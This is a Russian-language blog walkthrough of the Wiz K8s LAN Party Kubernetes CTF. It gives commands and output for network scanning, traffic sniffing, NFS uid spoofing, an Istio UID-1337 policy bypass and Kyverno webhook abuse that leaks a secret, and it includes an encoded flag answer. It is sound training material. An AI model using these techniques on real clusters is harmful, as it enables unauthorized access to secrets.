Я продолжаю тестировать инструменты, которые помогают научиться защищать кластеры Kubernetes. На этот раз взглянем на продукт от разработчиков из компании Wiz Research — Kubernetes LAN Party, челлендж по выполнению CTF-сценариев. Выход инструмента был приурочен к прошедшей в марте этого года конференции KubeCon EMEA 2024.
В статье я расскажу, зачем нужен этот инструмент, а также пройду все сценарии, которые предлагает K8s LAN Party, и напишу свое мнение о том, насколько это классный инструмент и кому он будет полезен.
Не так давно я делал обзор Simulator — платформы для обучения инженеров безопасности Kubernetes с помощью CTF-сценариев.
Что такое K8s LAN Party и зачем он нужен
K8s LAN Party — это набор из пяти CTF-сценариев, в которых пользователю нужно найти уязвимости в кластере Kubernetes. Каждый сценарий посвящен проблемам сети Kubernetes, с которыми инженеры Wiz Research сталкивались в реальной практике. Инструмент поможет участникам углубить свои знания в области безопасности кластера Kubernetes: у них будет возможность встать на место злоумышленников и изучить ошибки в конфигурациях, что пригодится в работе.
В K8s LAN Party кластер уже развернут. Игроку нужно лишь выполнять команды в терминале прямо в браузере. А если пользователь зарегистрируется, его результат будет отражаться в общей таблице лидеров и после прохождения челленджа он получит сертификат об участии.
В K8s LAN Party следующие правила для выполнения заданий:
Выполнять сценарии можно в любом порядке.
Максимальный результат за выполнение задания — 10 баллов. Но еще можно воспользоваться двумя подсказками. За их использование с итогового результата будут сниматься баллы,
Флаги, которые нужно находить в каждом сценарии, имеют формат
wiz_k8s_lan_party{*}
. Его нужно указать в поле ввода на странице задания:
После выбора задания появляется терминал, в котором нужно будет выполнить команды:
Разберём каждый сценарий: пойдём по порядку и начнём с Recon.
Сценарий №1: Recon
В этом сценарии мы попали в скомпрометированный под Kubernetes, где должны найти скрытые внутренние сервисы. Для выполнения задачи у нас есть утилита dnscan.
Для начала узнаем, в какой подсети мы находимся:
player@wiz-k8s-lan-party:~$ printenv
HISTSIZE=2048
PWD=/home/player
HOME=/home/player
KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1
...
IP-адрес нашего пода — 10.100.0.1. Выполним сканирование подсети 10.100.0.0/16:
player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.0/16
34997 / 65536 [--------------------------------------------------------------------->____________________________________________________________] 53.40% 982 p/s10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local.
65430 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.84% 982 p/s10.100.136.254 -> getflag-service.k8s-lan-party.svc.cluster.local.
65536 / 65536 [---------------------------------------------------------------------------------------------------------------------------------] 100.00% 985 p/s
Утилита нашла сервис getflag-service. Выполним запрос к нему:
player@wiz-k8s-lan-party:~$ curl
getflag-service.k8s-lan-party.svc.cluster.local
wiz_k8s_lan_party{<flag>}
Мы нашли флаг. Указываем его в поле ввода на странице задания и получаем успех:
Сценарий №2: Finding neighbours
Авторы пишут, что в нашем окружении затаился sidecar-контейнер, который, возможно, передаёт какие-то чувствительные данные. Снова воспользуемся утилитой dnscan
, может быть, она найдёт какие-нибудь дополнительные сервисы:
player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.0/16
43867 / 65536 [--------------------------------------------------------------------------------------->__________________________________________] 66.94% 984 p/s10.100.171.123 reporting-service.k8s-lan-party.svc.cluster.local.
65330 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.69% 984 p/s10.100.171.123 -> reporting-service.k8s-lan-party.svc.cluster.local.
65528 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.99% 984 p/splayer@wiz-k8s-lan-party:~$ curl reporting-service.k8s-lan-party.svc.cluster.local
player@wiz-k8s-lan-party:~$
На этот раз curl
к сервису нам ничего не дал. Прослушаем весь трафик, который ходит внутри пода и запишем его в дамп-файл:
player@wiz-k8s-lan-party:~$ tcpdump -s 0 -n -w dump.pcap
tcpdump: listening on ns-c75457, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C28 packets captured
28 packets received by filter
0 packets dropped by kernel
Теперь поищем что-нибудь интересное в дампе. Мы знаем, что флаг, который мы ищем, должен называться wiz_k8s_lan_party
:
player@wiz-k8s-lan-party:~$ tcpdump -r dump.pcap -A | grep wiz_k8s_lan_party
reading from file dump.pcap, link-type EN10MB (Ethernet), snapshot length 262144
wiz_k8s_lan_party{<flag>}
wiz_k8s_lan_party{<flag>}
Ещё один флаг найден. Не забываем скопировать его для выполнения задания и вставить в поле ввода на странице задания.
Сценарий №3: Data leakage
В данном сценарии используется система хранения данных, в которой контроль доступа является сетевым. Видимо, к поду примонтирована NFS-шара. Проверим это:
player@wiz-k8s-lan-party:~$ df -h
Filesystem Size Used Avail Use% Mounted on
overlay 300G 24G 277G 8% /
fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ 8.0E 0 8.0E 0% /efs
tmpfs 60G 12K 60G 1% /var/run/secrets/kubernetes.io/serviceaccount
tmpfs 64M 0 64M 0% /dev/null
Действительно, к разделу /efs
примонтирована NFS-шара. Что лежит в этой директории? Посмотрим:
player@wiz-k8s-lan-party:~$ ls -lah /efs
total 8.0K
drwxr-xr-x 2 root root 6.0K Mar 11 11:43 .
drwxr-xr-x 1 player player 51 Mar 25 08:27 ..
---------- 1 daemon daemon 73 Mar 11 13:52 flag.txt
player@wiz-k8s-lan-party:~$ cat /efs/flag.txt
cat: /efs/flag.txt: Permission denied
Здесь лежит нужный нам флаг, однако у нас не хватает прав для его просмотра. Воспользуемся утилитой nfs-cat для просмотра содержимого файла: не забываем указать версию NFS, UID и GID:
player@wiz-k8s-lan-party:~$ nfs-cat "nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//flag.txt?version=4&uid=0&gid=0"
wiz_k8s_lan_party{<flag>}
Найден очередной флаг. Идём дальше.
Сценарий №4: Bypassing Boundaries
Описание задачи говорит, что в данном окружении используется service-mesh, а также применено ограничивающее правило Istio:
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: istio-get-flag
namespace: k8s-lan-party
spec:
action: DENY
selector:
matchLabels:
app: "{flag-pod-name}"
rules:
- from:
- source:
namespaces: ["k8s-lan-party"]
to:
- operation:
methods: ["POST", "GET"]
Воспользуемся утилитой dnscan
для поиска сервисов в данном окружении:
root@wiz-k8s-lan-party:~# dnscan -subnet 10.100.0.0/16
57388 / 65536 [----------------------------------------------------------------------------------------------------------------->________________] 87.57% 988 p/s10.100.224.159 istio-protected-pod-service.k8s-lan-party.svc.cluster.local.
65491 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.93% 988 p/s10.100.224.159 -> istio-protected-pod-service.k8s-lan-party.svc.cluster.local.
root@wiz-k8s-lan-party:~# curl istio-protected-pod-service.k8s-lan-party.svc.cluster.local
RBAC: access denied
Найден сервис istio-protected-pod-service
, однако попытка выполнить к нему запрос запрещена согласно политике Istio.
Здесь можно вспомнить одну интересную уязвимость Istio, о которой писали наши коллеги из Luntry. Благодаря этой уязвимости злоумышленнику, попавшему внутрь пода, в котором работает Istio sidecar, достаточно установить UID или GID, равный 1337. Это поможет обойти фильтрацию трафика Istio. Попробуем это сделать:
root@wiz-k8s-lan-party:~# su istio
$ curl istio-protected-pod-service.k8s-lan-party.svc.cluster.local
wiz_k8s_lan_party{<flag>}
Остался последний флаг.
Сценарий №5: Lateral movement
В окружении для данного сценария используется контроллер допуска Kyverno. Нам дают kyverno-политику, которая добавляет переменную FLAG в созданные поды в пространстве имён sensitive-ns
:
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: apply-flag-to-env
namespace: sensitive-ns
spec:
rules:
- name: inject-env-vars
match:
resources:
kinds:
- Pod
mutate:
patchStrategicMerge:
spec:
containers:
- name: "*"
env:
- name: FLAG
value: "{flag}"
Попробуем создать какой-нибудь под. Опишем стандартный манифест для пода nginx и применим его в пространстве имён sensitive-ns
:
apiVersion: v1
kind: Pod
metadata:
name: pod
namespace: sensitive-ns
spec:
containers:
- name: nginx
image: nginx:latest
ports:
- containerPort: 80
К сожалению, у нас нет прав для создания подов в этом пространстве имён:
player@wiz-k8s-lan-party:~$ kubectl apply -f pod.yaml
2024/03/31 18:27:19 Starlark failed to allocate 4GB address space: cannot allocate memory. Integer performance may suffer.
Error from server (Forbidden): error when retrieving current configuration of:
Resource: "/v1, Resource=pods", GroupVersionKind: "/v1, Kind=Pod"
Name: "pod", Namespace: "sensitive-ns"
from server for: "pod.yaml": pods "pod" is forbidden: User "system:serviceaccount:k8s-lan-party:default" cannot get resource "pods" in API group "" in the namespace "sensitive-ns"
Кажется, пора воспользоваться подсказками. Это англоязычный проект, поэтому для статьи мы перевели их на русский язык:
Подсказка №1
Нужна помощь в составлении AdmissionReview-запросов? Воспользуйтесь https://github.com/anderseknert/kube-review
Подсказка №2
Это упражнение состоит из трех компонентов: имени хоста kyverno
(можно найти с помощью dnscan
), соответствующего HTTP-пути (можно посмотреть в исходном коде Kyverno) и запроса AdmissionReview.
Получается, нам нужно найти доступные службы kyverno
. Просканируем сеть пода с помощью утилиты dnscan
:
player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.0/16
10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local.
10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local.
10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local.
10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local.
10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local.
10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.
Нам нужно отправить запрос к сервису kyverno-svc.kyverno.svc.cluster.local
, который создаст под и изменит его, добавив переменную согласно политике apply-flag-to-env
. Для этого нужно создать AdmissionReview-запрос на эндпоинт /mutate, который вызовет mutating webhook.
Составляем конфиг для AdmissionReview в соответствии с документацией либо можем воспользоваться инструментом kube-review. Указываем обязательные поля, а также главное для нас в этой задаче — переменную FLAG, которую мы увидим после применения запроса:
{
"apiVersion": "admission.k8s.io/v1",
"kind": "AdmissionReview",
"request": {
"kind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"resource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"requestKind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"requestResource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"namespace": "sensitive-ns",
"operation": "CREATE",
"object": {
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "pod",
"namespace": "sensitive-ns"
},
"spec": {
"containers": [
{
"name": "nginx",
"image": "nginx:latest",
"env": [
{
"name": "FLAG",
"value": "{flag}"
}
]
}
]
}
}
}
}
Сделаем вызов к сервису kyverno
:
player@wiz-k8s-lan-party:~$ curl -k -X POST https://kyverno-svc.kyverno.svc.cluster.local/mutate -H "Content-Type: application/json" --data '<json>'
В результате мы получили response
, где в закодированном формате Base64 содержится интересующая нас информация:
"response": {
"uid": "",
"allowed": true,
"patch": "W3sib3AiOiJyZXBsYWNlIiwicGF0aCI6Ii9zcGVjL2NvbnRhaW5lcnMvMC9lbnYvMC92YWx1ZSIsInZhbHVlIjoid2l6X2s4c19sYW5fcGFydHl7eW91LWFyZS1rOHMtbmV0LW1hc3Rlci13aXRoLWdyZWF0LXBvd2VyLXRvLW11dGF0ZS15b3VyLXdheS10by12aWN0b3J5fSJ9LCB7InBhdGgiOiIvbWV0YWRhdGEvYW5ub3RhdGlvbnMiLCJvcCI6ImFkZCIsInZhbHVlIjp7InBvbGljaWVzLmt5dmVybm8uaW8vbGFzdC1hcHBsaWVkLXBhdGNoZXMiOiJpbmplY3QtZW52LXZhcnMuYXBwbHktZmxhZy10by1lbnYua3l2ZXJuby5pbzogcmVwbGFjZWQgL3NwZWMvY29udGFpbmVycy8wL2Vudi8wL3ZhbHVlXG4ifX1d",
"patchType": "JSONPatch"
}
В этой строке содержится в том числе и наш флаг. Вставляем его в поле для ввода и завершаем наш сценарий.
Сервис поздравляет нас с прохождением, и теперь можно получить сертификат:
Итоги
По сравнению с Simulator, который мы обозревали ранее, K8s LAN Party проще по функциональности, так как это просто челлендж с ограниченным набором задач. Небольшие трудности могут возникнуть только на сценарии №5. При этом представленные задания были довольно интересными.
В первую очередь я рекомендую пройти K8s LAN Party начинающим инженерам, которые интересуются безопасностью кластеров Kubernetes. Но специалистам более высокого уровня тоже будет интересно поработать с представленными в сценариях уязвимостями.
P. S.
Читайте также в нашем блоге:
Fatsolko
А то что curl и dnscan есть в поде или их там можно установить, это допущение сценария?
lawellet Автор
Да, в первом задании авторы явно говорят, что предустановили в под dnscan. С curl'ом также - допущение сценария.